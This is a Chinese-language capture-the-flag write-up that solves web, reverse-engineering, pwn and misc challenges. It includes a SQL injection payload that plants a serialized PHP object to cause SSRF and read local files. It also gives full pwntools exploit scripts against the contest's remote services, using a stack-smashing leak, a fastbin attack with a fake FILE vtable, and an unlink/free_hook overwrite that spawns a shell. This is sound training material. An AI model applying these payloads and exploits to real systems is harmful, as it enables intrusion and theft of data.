web
首先访问robots.txt
存在备份泄露,把user.php.bak下载下来
<?php
class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";
public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}
function get($url)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);
return $output;
}
public function getBlogContents ()
{
return $this->get($this->blog);
}
public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
}
猜测可有ssrf,但是正则很严格,继续看下去
注册一个账号,发现
view.php的no参数是可以注入的
payload:/view.php?no=-6 unIon/**/select 1,table_name,3,4 from information_schema.tables where table_schema=database()
可以注入出表名
也可以注入出列名
from information_schema.columns where table_schema=database() limit 0,3
分别是no
,username
,password
,data
查看data的数据会发现是一个序列化的数据
报错中也可以看出用了unserialize()
函数,那么在这里我们就可以通过注入来控制反序列化,再利用 ssrf 读文件
payload:
/view.php?no=1 unIon/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:6:"ckj123";s:3:"age";i:111111;s:4:"blog";s:29:"file:///var/www/html/flag.php";} '
re
Advance
首先运行程序看一下:
a0.png
将这串数字decode hex得到:
K@LKVHr[DXEsLsYI@\AMYIr\EIZQ
然后拖入IDA看看:
a1.png
d_run_main
再看其他的函数,虽然没有去符号,但是都很难看。
a5.png
点进去看这个函数,发现还是很奇怪。
a2.png
a3.png
中间的过程像是将angv的内容copy到一块区域。其他也看不出个所以然了。
实在不行我们看一下字符串,如下:
a4.png
看到了那串字符串,那只要看一下索引不就可以找到对应函数了吗!
很可惜..对应的索引在data段上,再向上索引就到了ELF_HEADER上..
在比赛的时候我的思路就只到了这里,还有就是根据字符串中的.d文件推测这是用D语言写的。实在没辙了就根据疑似flag的数据入手。将首字符与'f'作异或,再将异或值与这个字符串逐个异或过去,发现了一些东西:
a6.png
可以很明显看出,这应该是一个奇偶分别异或一个值得到的flag。那么像上面一样将第二个值得到,写出如下脚本:
stringA = r'K@LKVHr[DXEsLsYI@\AMYIr\EIZQ'
flag = ''
for i in range(len(stringA)):
if(i % 2 == 0):
flag += chr(ord(stringA[i]) ^ 45)
else:
flag += chr(ord(stringA[i]) ^ 44)
print(flag)
赛后和学长复盘了一下。发现这道题与CSAW 2016的一道题及其相似..就连脚本都可以直接套用..更正确的解法应该是从函数名入手(其实是一种挺正常的想法吧..)。
a7.png
这里找到这个函数后,在IDA中点开分析。
a8.png
这里可以大致推断两个参数为之前的那串字符串以及其长度。
发现这里符号有点奇怪,都是xxxx_111/222…._xxxx这样的。那么再点进去看一下。
a10.png
这边可以用D语言的demangle洗一遍符号。进行分析。
最后分析出来,脚本如下:
stringA = r'K@LKVHr[DXEsLsYI@\AMYIr\EIZQ'
listA = []
for i in stringA:
listA.append(ord(i))
for i in range(1,500):
encryptStr = str(i) * 3
for i in range(len(stringA)):
listA[i] = listA[i] ^ ord(encryptStr[i % len(encryptStr)]) ^ len(stringA)
flag = ''.join(chr(i) for i in listA)
print(flag)
flag{d_with_a_template_phew}
Beijing
拖入IDA,如图:
b0.png
可以看出它经过了一个函数后将一个字符输出,那在虚拟机中跑一下试试。
b1.png
那么就进入函数看一下。
b2.png
可以看出,输出的字符根据传进来的参数作为switchtable的选择子,将相邻的两个字符进行一个异或,最后将结果返回。那再看一下进行异或的数据是什么。
b3.png
b4.png
我们可以看见一些关键字符,如'{','}','_',且都在奇数位上,而偶数位还有一些不可显字符。那就大胆猜测只要不异或偶数位就ok。最后脚本如下:
string = 'aginbefjml{z}_W'
num = [6,9,0,1,0xa,0,8,0,0xb,2,3,1,0xd,4,5,2,7,2,3,1,0xc]
flag = ''
for i in num:
flag += string[i]
print(flag)
flag{amazing_beijing}
PWN
GUESS
注意到这里flag已经被读进栈里,但是下面的比较并没有什么问题,不可能直接猜出那么长的flag,但是很明显有个栈溢出可以用
再看下面有一个很奇怪的地方
他为什么要特意用fork出来的进程跑流程呢,我们看下保护
发现开了canary,因为是fork出来的进程所以不用怕跑崩,就可以考虑故意触发__stack_chk_fail并通过超长的溢出改掉argv[0]来输出你想输出的一切,原理如下:
__stack_chk_fail :
void
__attribute__ ((noreturn))
__stack_chk_fail (void) {
__fortify_fail ("stack smashing detected");
}
fortify_fail:
void
__attribute__ ((noreturn))
__fortify_fail (msg)
const char *msg; {
/* The loop is added only to keep gcc happy. */
while (1)
__libc_message (2, "*** %s ***: %s terminated\n", msg, __libc_argv[0] ?: "<unknown>")
}
libc_hidden_def (__fortify_fail)
对于此题的目标——栈上的flag来说,刚好三步就可以得到(也是题目设计的次数) 第一步利用got表来得到libc地址 第二步利用libc的environ来得到stack地址 第三步计算flag地址直接输出
最后是poc:
#coding=utf8
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']
local = 0
if local:
cn = process('./guess')
bin = ELF('./guess')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
#libc = ELF('/lib/i386-linux-gnu/libc-2.23.so')
else:
cn = remote('106.75.90.160',9999)
bin = ELF('./guess')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
def z(a=''):
gdb.attach(cn,a)
if a == '':
raw_input()
cn.sendline(p64(0x602020)*200)
cn.recvuntil('***: ')
lbase = u64(cn.recvuntil('\x7f').ljust(8,'\x00')) - libc.sym['puts']
print('lbase:' + hex(lbase))
env = lbase + libc.sym['environ']
cn.sendline(p64(env)*200)
cn.recvuntil('***: ')
sbase = u64(cn.recvuntil('\x7f').ljust(8,'\x00')) - 0x168
print('sbase:' + hex(sbase))
cn.sendline(p64(sbase)*200)
#z('c')
cn.interactive()
blind
除了没有提供任何方式输出字符串外就是一个普通的堆题,存在use after free漏洞,且chunk大小属于fastbin范围,可以考虑比较常见的fastbin attack方式进行利用。
由于还开了got表保护,所以没办法通过修改got表来执行getshell函数,但bss上的文件指针却可以拿来利用。 思路是首先通过fastbin attack修改ptr指针,方便待会任意地址写,然后找一块地方伪造自己的FILE结构体,并修改stdout指针指向那个结构体,伪造的时候把getshell函数作为结构体虚表函数的地址,这样待会输出的时候就会跑去直接getshell函数了。 poc如下:
from pwn import *
context.log_level='debug'
p=remote('106.75.20.44',9999)
#p=process('./blind')
p.recv()
def pr():
p.recvuntil('ice:')
def new(index,content,sh=0):
p.send('1\n')
p.recvuntil('Index:')
p.send(str(index))
p.recvuntil(':')
p.sendline(content)
if sh==1:
p.interactive()
pr()
def change(index,content,sh=0):
p.send('2\n')
p.recvuntil('Index:')
p.send(str(index))
p.recvuntil(':')
p.sendline(content)
if sh==1:
p.interactive()
pr()
def free(index):
p.send('3\n')
p.recvuntil('Index:')
p.send(str(index))
pr()
def write(addr,v,sh=0):
change(0,p64(0x602060)+p64(addr))
change(1,v,sh)
puts=0x601FA0
ptr=0x602060
target=0x60201d
shell=0x4008E3
new(0,"asdasd")
free(0)
change(0,p64(target))
new(5,p64(shell)*10)
new(3,'\x00'*3+'\x00'*0x30+p64(0x602060))
write(0x602100,p64(0xfbada887)+p64(0)*7+p64(1))
write(0x6021d8,p64(0x602200))
write(0x602200, p64(shell)*8)
write(0x602020,p64(0x602100),1)
p.interactive()
babyheap
p1.png
跟上面一题比较类似,本身也有UAF漏洞,但是chunk的大小限制为了0x30。这样就不能直接通过fastbin attack修改malloc_hook进行攻击。但是由于程序没有开PIE,就可以利用unlink改掉edit的限制次数,leak出libc基址,最后将system地址写入free_hook,getshell。
#coding=utf8
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']
local = 0
if local:
cn = process('./babyheap')
bin = ELF('./babyheap',checksec=False)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)
else:
cn = remote('106.75.67.115', 9999)
bin = ELF('./babyheap',checksec=False)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)
pass
def z(a=''):
gdb.attach(cn,a)
if a == '':
raw_input()
def add(idx,con):
cn.sendlineafter('Choice:','1')
cn.sendlineafter(':',str(idx))
cn.sendlineafter(':',con)
def edit(idx,con):
cn.sendlineafter('Choice:','2')
cn.sendlineafter(':',str(idx))
cn.sendlineafter(':',con)
def dele(idx):
cn.sendlineafter('Choice:','4')
cn.sendlineafter(':',str(idx))
def show(idx):
cn.sendlineafter('Choice:','3')
cn.sendlineafter(':',str(idx))
add(0,p64(0x30)*3+'\x30')
add(1,'asd')
add(2,'asd')
add(3,'asd')
add(4,p64(0)+p64(0x21))
dele(2)
dele(3)
show(3)
hbase=u64(cn.recvuntil('\n')[:-1].ljust(8,'\x00'))-0x60
success(hex(hbase))
edit(3,p64(hbase+0x20))
dele(0)
add(9,p64(0)+p64(0x21)+p64(0x30)+p32(0x30))
# z()
add(6,'/bin/sh')
add(7,p64(0x20)+p64(0x90))
dele(0)
add(8,p64(0)+p64(0x21)+p64(0x0602060-0x18+9*8)+p32(0x0602060-0x10+9*8))
dele(1)
# z('b*0x0000000000400C86\nc')
edit(9,p64(0x000000000602098)*2+p64(0x0000000006020B0)+p32(bin.got['free']))
show(9)
lbase=u64(cn.recvuntil('\n')[:-1].ljust(8,'\x00'))-libc.sym['free']
success(hex(lbase))
# z('b*0x0000000000400B1D\nc')
edit(8,p64(0))
edit(7,p64(0x000000000602098)+p64(0x0000000006020B0)+p64(lbase+libc.sym['__free_hook'])[:-1])
edit(8,p64(0))
edit(9,p64(lbase+libc.sym['system'])[:-1])
# z('b free\nc')
dele(3)
# z()
cn.interactive()
misc
clip
下载下来之后有这两个文件
告诉我们要切割
用010editor
打开damaged.disk
会在里面找到两个
然后将这两张png分别拿出来补齐文件头和文件尾
前面加上
89 50 4E 47 0D 0A 1A 0A
后面加上
00 00 00 00 49 45 4E 44 AE 42 60 82
就可以得到两张图片了
然后将两张图片切成数个图拼起来得到flag